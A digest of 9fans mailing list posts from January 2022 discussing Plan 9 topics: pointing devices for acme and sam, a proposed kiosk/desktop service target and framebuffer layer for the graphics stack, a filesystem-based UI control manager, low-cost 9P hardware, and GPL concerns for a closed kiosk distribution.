For most of its life USB was only 5 V: https://en.wikipedia.org/wiki/USB#Power

PoE is (mostly) 48 V: 
https://en.wikipedia.org/wiki/Power_over_Ethernet#Standard_implementation

PoE also requires the use of either special PoE switches or power injectors,
so at the time USB was first created it was cheaper & made more sense for PC
and laptop hardware.

Also, back then the USB folks were all like "4 different PoE standards?! That's
ridiculous!"  https://xkcd.com/927/  ;)



--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/Ta4e584a373b05553-M1400218699cd447169fa0b16
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] building blocks speaking 9p

[Charles Forsyth]

https://www.cs.york.ac.uk/rts/static/papers/R:N.C.:Audsley:2006.pdf might
be of interest.

They turned up at an embedded systems show at Birmingham NEC about that
time.
I was attending independently, but it was interesting to see,.
Wandering about some boring other stands, I found one that was showing off
a small embedded device running a remarkable system.
There was source code on the screen.
"Hmm", I asked, "what's the language it's running?"
Lars Bok [for it was he], proudly, "It is SmallTalk!" in 64k [I think] on a
micro with a real-time garbage collector and in-service code updating on
the fly.
Just fantastic. We bemoaned the boring nature of most of the stands. I
mentioned Styx-on-a-Chip and he wandered off to have a look, returning to
say it was also interesting.
I forget the name of the system, but eventually the company was sold on or
got different investors in, who turned it into a Java thing. As usual.

On Fri, 28 Jan 2022 at 10:18, Lucio De Re  wrote:

> On 1/28/22, Bakul Shah  wrote:
> >
> > Think of really simple, low power, low cost devices.
> > USB can also provide power. USB+ATtiny85 devel boards
> > cost ~$3 even at Amazon. And FPGA boards can be
> > pretty inexpensive too. If you can find them.
> >
> I've recommended olimex.com in the past. They specialise in Open
> Architecture Hardware. Their prices are very reasonable and product
> range quite broad.
> 
> Lucio.

--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/Ta4e584a373b05553-Mc901f3049ed9f148d9ee00e7
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] acme and sam - mouse suggestions?

[Aram Hăvărneanu]

For over a decade I have been using the soon-discontinued Contour
mouse. I have tried both the wired and the wireless versions, but
the wireless version has too much latency for me, although I am
particularly sensitive to latency, so YMMV.

I have been using the exact same unit since I got it, it has been
very reliable for me, however I know for a fact that the newer
versions of the mouse, even though they superficially appear to be
the same are not as reliable. They changed the plastic used in some
internal shaft and that seems to break quite often. Many of my
friends have broken Contour mice that fail in the exact same way.
That internal shaft breaks.

One friend managed to get hold of a bag of spare shafts. I suspect
they could be easily 3D printed, or replaced with a metal shaft.

In any case, since Contour announced they discontinued the model,
I ordered about 30 mice from retailers that lied about having stock
stock. I got three. With these three, I have in total about ten
spares, which I hope will last me for a while.

-- 
Aram Hăvărneanu

--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/T49f3cceea70d2b61-M390895ff6f8a7015c13ee272
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] suggestion : new service targets for plan9

[ori]

Quoth ibrahim via 9fans <9fans@9fans.net>:
> What I suggest is a lower level interface to use the framebuffer
> directly and I think devdraw (memdraw, memlayer) is too high level and
> rio oriented.

I don't think this is desirable.

Every single program uses devdraw directly. Rio is
just another devdraw client.

> If you use devdraw as a framebuffer than the only
> functions you need from devdraw are initdraw, loadimage and flushimage
> which internally use memdraw and memlayer in a way that decreases
> performance.  Also the transfer of images in this way is expensive
> (regarding time) a screen image is at least copied two times.

Then don't use it as a framebuffer -- Framebuffers
are *already* a poor fit for modern hardware.

Create an image, draw into it, and reuse it.

The devdraw model, where textures are uploaded and
reused, isn't ideal for modern GPUs, but it's far
closer to what is needed, and far easier to accelerate,
than software rendering.

> So by defining a lower level we could improve the
> performance of rendering by a factor of two.

While tying tying the code to an unaccelerated model
that is not usable over the network.


--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/T2518f9e4fc10ed03-M2d6d6b65ad50c111a018633b
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] suggestion : new service targets for plan9

[ibrahim via 9fans]

A well established example for direct rendered frame support is the SHM 
extension of X11. There you can create a shared memory in your application and 
render directly into this. Afterwards you switch buffers without any transfer 
of image data. The image is directly rendered on the screen if the application 
and the display rest on the same computer. In X11 this results in a great 
performance gain cause you don't have to invoke X11 for each drawing primitive 
and you don't have to transfer the image data when the image is ready.

libSDL uses a similar approach.

--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/T2518f9e4fc10ed03-Me6991ab04cfbfa8bef2b4f2c
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] suggestion : new service targets for plan9

[ibrahim via 9fans]

On Friday, 28 January 2022, at 3:11 PM, Philip Silva wrote:
> I didn't deep-dive yet into the internals of it, but isn't it that when 
> combining the images at the end, that transfer of the initial images with 
> lots of data basically happens only once? It seems to me devdraw can be quite 
> performant on certain use cases. (UIs with basic shapes)

Thats true. devdraw prepares its images using memdraw and memlayer. After 
combining those images we get the results on the display.

The moment you do rendering inside your application you have to transfer images 
using loadimage and flashimage. There is no message inside devdraw which makes 
it possible to use images from a client process without copying them into the 
memlayer infrastructure. 

On Friday, 28 January 2022, at 3:11 PM, Philip Silva wrote:
> Also I wonder what kind of functions it should be providing.
This intermediate or alternative layer should only add putimage switchbuffers 
supported by shared memory segments. At least there should be two buffers one 
foreground and one background buffer directly writeable by the client.

One simple way to realize this would be enhancing devdraw with one single 
protocol which would render a client side image from shared memory (segments). 

You can quite now create memimages but if you realize the rendering you have to 
use loadimage and flushimage each time your images change.


devdraw is not slow but it can be made faster with only one extra protocol 
which is missing. 

Enhancing devdraw this way would also solve the problem but not touching 
devdraw and offering an intermediate level between the graphics driver and 
devdraw wouldn't break anything. In the end devdraw also transfers its image to 
the videocard one way or the other.

--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/T2518f9e4fc10ed03-Mbe750adf3a20ec4a7f7c7b5d
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] acme and sam - mouse suggestions?

[Charles Forsyth]

I've been happy with the Microsoft Bluetooth Mobile Mouse 3600
bearing
in mind that I'm using 9vx on a Dell as my terminal.
I should probably see if it can be made to work on an rpi

On Fri, 28 Jan 2022 at 12:45, Steve Simon  wrote:

> I am a long term sam user and a three button mouse, but I also like the
> ease of navigation of a scroll wheel.
> 
> I use a Beatus mouse - three real buttons and a scroll wheel on the side
> for your thumb.
> Sadly they are only made right handed and they are a little small for my
> hand but they are still the best
> I have found.
> 
> Google will find them quite easily.
> 
> -Steve
> 

--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/T49f3cceea70d2b61-M73ba293845513288df73c465
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] suggestion : new service targets for plan9

[Philip Silva via 9fans]

Also of course it depends on what needs to be rendered. I didn't deep-dive yet 
into the internals of it, but isn't it that when combining the images at the 
end, that transfer of the initial images with lots of data basically happens 
only once? It seems to me devdraw can be quite performant on certain use cases. 
(UIs with basic shapes) But true, having access to the framebuffer should offer 
more options. Also I wonder what kind of functions it should be providing. (And 
if devdraw couldn't be just made faster)

> What I suggest is a lower level interface to use the framebuffer directly and 
> I think devdraw (memdraw, memlayer) is too high level and rio oriented. ... 
> Also the transfer of images in this way is expensive (regarding time) a 
> screen image is at least copied two times. So by defining a lower level we 
> could improve the performance of rendering by a factor of two.

--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/T2518f9e4fc10ed03-M3f8fff74c67b09c5e2cde53f
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] acme and sam - mouse suggestions?

[Steve Simon]

I am a long term sam user and a three button mouse, but I also like the ease of 
navigation of a scroll wheel.

I use a Beatus mouse - three real buttons and a scroll wheel on the side for 
your thumb.
Sadly they are only made right handed and they are a little small for my hand 
but they are still the best
I have found.

Google will find them quite easily.

-Steve


--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/T49f3cceea70d2b61-M975d2cab770926e40e414642
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] suggestion : new service targets for plan9

[ibrahim via 9fans]

On Friday, 28 January 2022, at 10:55 AM, Frank D. Engel, Jr. wrote:
> As far as I can tell this would require practically zero core
  changes to the system as it is built entirely on existing
  primitives already offered.



What you are suggesting is a higher level filesystem and libdraw combined with 
the panel library is implemented in a comparable way. This results in decrease 
of performance. Because the renderer has to read all the files for all visible 
regions on the screen and combine them for the display image.

 memdraw and memlayer which are used by devdraw are doing a similar job they 
combine image memory layers to form the resulting display image.

What I suggest is a lower level interface to use the framebuffer directly and I 
think devdraw (memdraw, memlayer) is too high level and rio oriented. If you 
use devdraw as a framebuffer than the only functions you need from devdraw are 
initdraw, loadimage and flushimage which internally use memdraw and memlayer in 
a way that decreases performance. Also the transfer of images in this way is 
expensive (regarding time) a screen image is at least copied two times. So by 
defining a lower level we could improve the performance of rendering by a 
factor of two. 

--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/T2518f9e4fc10ed03-Meea8f954e2d142447d743e3f
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] acme and sam - mouse suggestions?

[Kurt H Maier via 9fans]

On Fri, Jan 28, 2022 at 08:14:44PM +1300, umbrati...@prosimetrum.com wrote:
> > small ones seem to me like a pain to point, and the large ones look
> > like hard to make chords with the big ball in the middle. Could you
> > share your experience?
> 
> I use a Kensington Expert which I guess falls into the big
> ball in the middle category.  Honestly, most of the time I
> click/chord with my left hand on the thinkpad's trackpad
> buttons while rolling the ball with my right hand, but
> chording with the trackball buttons is also fine.  The
> scrollwheel thing is pretty nice too.

My pointing device on the desktop is an L-TRAC trackball, currently sold
by xkeys.com.  It's definitely in the 'big ball in the middle' category
but the buttons are mostly huge enough to make up for it -- I've never
found myself straining to reach anything, but I will admit the extension
ports allowing more buttons to be scattered around the desktop is a nice
bonus.  I don't recommend the LED-lit models, as they're brighter than
the goddamn sun, and trackball itself is translucent so it just shines
like a beacon.  I replaced my ball with a 9-ball to mitigate the glare.

khm

--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/T49f3cceea70d2b61-M4d5b713a555327b737f00c15
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] suggestion : new service targets for plan9

[sirjofri]

Hey, that was my idea! 

Well, to be precise, I also had the idea of having a filesystem hierarchy 
for window contents.


/mnt/window/mywindow/vbox/hbox/button/label/
and inside that: text, padding, margin, ... Whatever you like.

It would be easy to write UIs using shell scripts, and to be fair, many 
user applications can just be a shell script that hauls data between UI 
and specialized filesystems for their task.


I suggest you look at the rcgui test I did quite some time ago, I believe 
it's available at https://git.sr.ht/~sirjofri/rcgui. It's sadly not a 
filesystem, but does an app lifecycle approach and you can react to 
events like redraw and give simple text draw commands for button 
controls. I really would like to see the filesystem approach as that's 
what my goal is, but I was not so good at implementing filesystems 
(although I have many ideas) and I have very limited time due to 
ninephone project and especially work.


Btw I was planning to have some kinda filesystem wrapper so you can 
easily write simple filesystems using rc, some kinda glorified 9pcon, but 
that's another topic.


if you're interested in discussing touch UI ideas (or stuff that leads 
towards touch UI on 9) I set up a garden repository on shithub for this 
exact purpose. garden means, you only need a shithub account and have 
push access. The URL is http://shithub.us/garden/touchui/HEAD/info.html . 
I wanted to add my ideas earlier, but I sadly didn't have enough time for 
that (I have ideas though, just need to write them down).


sirjofri

28.01.2022 10:55:01 Frank D. Engel, Jr. :

I was actually thinking of a somewhat different approach to providing a 
more modernized user interface.


Consider that rio currently exports the required files for each window, 
which provide the same interface as the display driver underneath them.


Now consider adding a new "control manager" file server which exports a 
filesystem to manage individual controls arranged inside a window (or 
at the root level if not running rio or other window manager).  Create 
a directory inside the exported filesystem to add a new control.  
Inside the directory would automatically appear those same files that 
are exported by rio or by vga, but specific to the control.  There 
would also be a file for controlling the scaling and placement of child 
controls of the control in some defined manner, allowing "layout 
managers" to be defined (such a file would also appear at the root).  
Add a new subdirectory within the directory of a control to create a 
child control.


Individual types of controls can then be implemented as separate 
programs or libraries which would interact with those basic elements to 
provide the specific functionality of a control or layout manager - 
standard controls to be provided would be the typical buttons, 
checkboxes, text fields, etc., while layout managers would arrange 
their children in specific patterns, such as vertically stacked, 
horizontally stacked, grids, etc.


This mechanism is an extensible way to cover the provision of "modern" 
controls within a window, even when still using rio, and is true to the 
"everything is a filesystem" nature of plan9.



A second step would be to create an alternative to rio which would do 
the same job, but with title bars and the like.



Some kind of file management / desktop environment application could 
then be built on top of these foundations.  Users could mix and match 
the use of applications based on the control manager within the 
existing rio environment, and the existing command line / rio 
applications such as acme would work unmodified with the new window 
manager but have "modern" title bars and some sort of "minimize" and 
possibly "full screen" functionality, maybe with a dock of some kind.



As far as I can tell this would require practically zero core changes 
to the system as it is built entirely on existing primitives already 
offered.



On 1/27/22 9:03 PM, ibrahim via 9fans wrote:
I developed a kiosk version of plan9 (based on 9front and legacy9) and 
am about to develop a single user desktop system. Those can coexist 
with the existing plan9 system.


I named the new service targets kiosk and desktop. Both work without 
rio.


Currently I used initdraw, initmouse, initkeyboard, loadimage, 
flushimage from devdraw to avoid breaking of compatibility with the 
existing plan9 systems while the whole rendering of the windows is 
framebuffer based. Instead of the usual plan9 fonts I used regular 
truetypefonts.


So my suggestions would be :

1) Define new service targets kiosk and desktop (Currently I do this in 
init or /user/.../lib/profile. This makes it possible for a user to 
start an alternative window manager or even a single applicaton (kiosk 
service) with a modern look and feel.


2) Define a layer between vga and devdraw perhaps vgafb which improves 
the performance for frame buffer rendered window managers.


3) Define events for mouse, 

Re: [9fans] licence question

[ibrahim via 9fans]

On Friday, 28 January 2022, at 4:23 AM, Kurt H Maier wrote:
> None of these prohibit redistribution.  Feel free to delete them from
your copy.

I'm intending to distribute a closed source binary release as a kiosk 
application which will be used as a graphical terminal for students. So 
anything containing GPL code can't be part of the base installment. Users can 
decide to download and install binaries on their computer but the moment I 
distribute a GPL application as an integral part of my system where some of the 
binaries depend on their existence without alternatives my code and binaries 
get infected by GPL. 

I already deleted ghostscript and all fonts from 9front to avoid legal 
problems. Xen, mp3dec, lzip weren't used by my app the only surprises were diff 
and patch which I can substitute by not GPL'ed versions.

You are right if I would distribute my kiosk software in binary and source form 
like all plan9 distributions do. Then I would have fulfilled the necessities of 
GPL regarding redistribution. But the problem of "work based upon", "word 
depends on" would perhaps remain for some of the tools used by plan9. In common 
you are right but not when someone makes a binary distribution ...

Thanks
--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/T3e07bfdf263a83c8-Mf8a2f7c56fff6ebad6c88447
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] suggestion : new service targets for plan9

[ibrahim via 9fans]

On Friday, 28 January 2022, at 8:53 AM, vic.thacker wrote:
> Hmm. Have you considered using Inferno?

I gave it a try long ago but I don't want to use it. The reason is the 
involvement of limbo. I prefer system code to be written in a language that I'm 
using now for decades and where I can change even the compiler for my needs. I 
wouldn't use the first releases of plan9 either due to the same reason (alef). 

Another reason why I prefer legacy9 or 9front is the evolving codebase. Both 
projects are active and the more people share the code the more bugs get 
explored. 

The ideas behind inferno are compatible to mine but I prefer an active project 
as the shared basement for enhancements of a system.

But thanks for this hint, cause my suggestions are already integrated in 
inferno and if I would only need an existing solution using inferno would make 
sense.

--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/T2518f9e4fc10ed03-Mc26a105eafd97f19f62fbcc0
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] suggestion : new service targets for plan9

[ibrahim via 9fans]

On Friday, 28 January 2022, at 6:22 AM, ori wrote:
> It'd probably make sense to generalize: 'service=foo'
in plan9.ini could run /bin/^$foo^rc.

This is an excerpt for one experimental gdi from profile

...
ramfs
font = /lib/font/bit/lucida/unicode.10.font
upas/fs
fn cd { builtin cd $* && awd }  # for acme
service=kiosk
case kiosk
echo -n accelerated > '#m/mousectl'
echo -n 'res 3' > '#m/mousectl'
prompt=('term% ' '  ')
fn term%{ $* }
#   cat /sys/lib/kbmap/de > /dev/kbmap
exec /usr/glenda/proj/gdi/gdi
# exec rio -f /lib/font/bit/lucida/unicode.10.font
case terminal
plumber
echo -n accelerated > '#m/mousectl'
echo -n 'res 3' > '#m/mousectl'
prompt=('term% ' '  ')
fn term%{ $* }
exec rio -f /lib/font/bit/lucida/unicode.10.font
#   exec /usr/glenda/proj/gdi/gdi
...

I defined kiosk as a service target inside profile and by editing profile 
before starting I can switch between the new window system and rio both can run 
inside each other. By defining well known targets like kiosk or desktop aso the 
compilation would get easier and due to the existing environment variable the 
running main window system would be known to client apps (even if not 
necessary)On Friday, 28 January 2022, at 6:22 AM, ori wrote:

> Why would another layer be help?

Libmemdraw is not very fast, and profiling+optimization
will be needed to solve that, but I'm not sure what an
additional layer is supposed to do there.

The extra layer would make sharing of the optimized framebuffer device usable 
for both window managers directly using this fbdev and also for devdraw 
(memlayer, memdraw). In last instance devdraw does also render to the graphics 
memory so this layer would be shared by both. This extra layer would make sure 
that only one application has direct access to the framebuffer while the other 
gets multiplexed. I did the multiplexing in my window manager for rio so its 
possible to run my window manager inside rio and vice versa. The alternative 
would be a parallel fbdev with the risk that both devdraw as well as this dev 
driver try to write concurently to the video memory. The changes to memlayer 
memdraw devdraw would be minimalistic but are not really necessary. Those 
changes would make both window systems benefit by a shared code base and 
improvements in this code base while totally transparent for any application 
running on the system.


On Friday, 28 January 2022, at 6:22 AM, ori wrote:
> Sure.  It fits -- same place as kbdfs -- but someone
needs to come up with the event encoding, write the
'touchfs', and implement the readers that toss events
down channels.

Nothing insurmountable, just needs someone who cares
about it to roll up their sleeves and write code.

if(initdraw(nil, nil, argv0) < 0)
sysfatal("%s: %r", argv0);
if((mctl = initmouse(nil, screen)) == nil)
sysfatal("%s: %r", argv0);
if((kctl = initkeyboard(nil)) == nil)
sysfatal("%s: %r", argv0);
pixi_init() ;
test_fb () ;
draw_fb () ;
enum{MOUSE, RESIZE, KEYBD, NONE};
Alt alts[4] = {
{mctl->c, , CHANRCV},
{mctl->resizec, , CHANRCV},
{kctl->c, , CHANRCV},
{nil, nil, CHANEND},
};

Currently I'm doing things for event handling like in a rio app and it works 
but the code could be simplified by a notification layer which we can define 
all together.

To make things more clear :

I have a working kiosk and an experimental window system but those can be 
improved and I would prefer making those things a general well documented part 
of the system. The more people experiment with such an enhancement the more it 
evolves and the less bugs will remain. I have ideas and I'm sure others also 
have ideas so it would be best to share opinions and learn from each other. I 
don't like forking a project when I like its progress as I do regarding 9front 
legacy9.

--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/T2518f9e4fc10ed03-M5b9c63bb91f21f3264e973ff
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] acme and sam - mouse suggestions?

[fijal]

I'm very happy with this one:  http://www.hao1885.com/products_desc.asp?id=413

Cheers
fijal
--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/T49f3cceea70d2b61-Mead1ec25401f27e22d96d566
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] building blocks speaking 9p

[Lucio De Re]

On 1/28/22, Bakul Shah  wrote:
>
> Think of really simple, low power, low cost devices.
> USB can also provide power. USB+ATtiny85 devel boards
> cost ~$3 even at Amazon. And FPGA boards can be
> pretty inexpensive too. If you can find them.
>
I've recommended olimex.com in the past. They specialise in Open
Architecture Hardware. Their prices are very reasonable and product
range quite broad.

Lucio.

--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/Ta4e584a373b05553-M84956412e025f516e7cd
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] suggestion : new service targets for plan9

[Frank D. Engel, Jr.]

I was actually thinking of a somewhat different approach to providing a 
more modernized user interface.


Consider that rio currently exports the required files for each window, 
which provide the same interface as the display driver underneath them.


Now consider adding a new "control manager" file server which exports a 
filesystem to manage individual controls arranged inside a window (or at 
the root level if not running rio or other window manager).  Create a 
directory inside the exported filesystem to add a new control.  Inside 
the directory would automatically appear those same files that are 
exported by rio or by vga, but specific to the control.  There would 
also be a file for controlling the scaling and placement of child 
controls of the control in some defined manner, allowing "layout 
managers" to be defined (such a file would also appear at the root).  
Add a new subdirectory within the directory of a control to create a 
child control.


Individual types of controls can then be implemented as separate 
programs or libraries which would interact with those basic elements to 
provide the specific functionality of a control or layout manager - 
standard controls to be provided would be the typical buttons, 
checkboxes, text fields, etc., while layout managers would arrange their 
children in specific patterns, such as vertically stacked, horizontally 
stacked, grids, etc.


This mechanism is an extensible way to cover the provision of "modern" 
controls within a window, even when still using rio, and is true to the 
"everything is a filesystem" nature of plan9.



A second step would be to create an alternative to rio which would do 
the same job, but with title bars and the like.



Some kind of file management / desktop environment application could 
then be built on top of these foundations.  Users could mix and match 
the use of applications based on the control manager within the existing 
rio environment, and the existing command line / rio applications such 
as acme would work unmodified with the new window manager but have 
"modern" title bars and some sort of "minimize" and possibly "full 
screen" functionality, maybe with a dock of some kind.



As far as I can tell this would require practically zero core changes to 
the system as it is built entirely on existing primitives already offered.



On 1/27/22 9:03 PM, ibrahim via 9fans wrote:
I developed a kiosk version of plan9 (based on 9front and legacy9) and 
am about to develop a single user desktop system. Those can coexist 
with the existing plan9 system.


I named the new service targets kiosk and desktop. Both work without rio.

Currently I used initdraw, initmouse, initkeyboard, loadimage, 
flushimage from devdraw to avoid breaking of compatibility with the 
existing plan9 systems while the whole rendering of the windows is 
framebuffer based. Instead of the usual plan9 fonts I used regular 
truetypefonts.


So my suggestions would be :

1) Define new service targets kiosk and desktop (Currently I do this 
in init or /user/.../lib/profile. This makes it possible for a user to 
start an alternative window manager or even a single applicaton (kiosk 
service) with a modern look and feel.


2) Define a layer between vga and devdraw perhaps vgafb which improves 
the performance for frame buffer rendered window managers.


3) Define events for mouse, keyboard, touchpad, windows which is based 
on notes managed by light threads inside the client app.


Those three steps would protect the existing plan9 from changes and 
make it possible to only use the kernel, libraries, tools from 
alternative user interfaces. Plan9 is one of the smallest operating 
systems accompanied with a compiler and an abstraction which would 
attract much more developers and users if it had a modern user 
interface. We don't have to throw away anything and rio would even be 
able to run inside a window of a modern desktop.


Plan9 has everything necessary to make it an attractive system not 
only for a handful of developers. The compilers, the portability, 9p, 
unicode, direct support for video hardware and its small size are 
fascinating.


The only reason why it isn't recognized by more people is its GUI. I 
don't get the reason why we wouldn't extent it so we can use other 
GUI's while keeping the existing in respect of the developers who 
created this system.


I will integrate this changes but I would prefer staying fully 
compatible to the existing projects legacy9 and 9front even more I 
would prefer not forking any of them but sharing my parts as 
contributions.


What I need and what those changes need is a separation level between 
devdraw and the graphics hardware and a new event mechanism which can 
be based on notes or equals.


I'm not a native English speaker so excuse the many mistakes.

*9fans * / 9fans / see discussions 
 + participants 

Re: [9fans] acme and sam - mouse suggestions?

[adr]

On Fri, 28 Jan 2022, umbrati...@prosimetrum.com wrote:


I use a Kensington Expert which I guess falls into the big


That's funny, it's the very same I was looking at.

aliexpress.com/item/1005001848991454.html


The scrollwheel thing is pretty nice too.


Three button mice with lateral scrollwheel are even harder to
find. That's why I ended up with this cheap one:

aliexpress.com/item/404785639.html

It's not so bad, the plastic feels a little cheaper than one from
hp or ibm but cost less than half the price... and it is very
accurate, really.  It enters sleep mode to save battery (you can't
disable this) and the only way to wake it is clicking one of the
buttons (not the wheel). Now the funny part: it sends the click to
the host. A nightmare.

Thanks for the feedback,
adr.

--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/T49f3cceea70d2b61-Mcae193567503385d419fed55
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription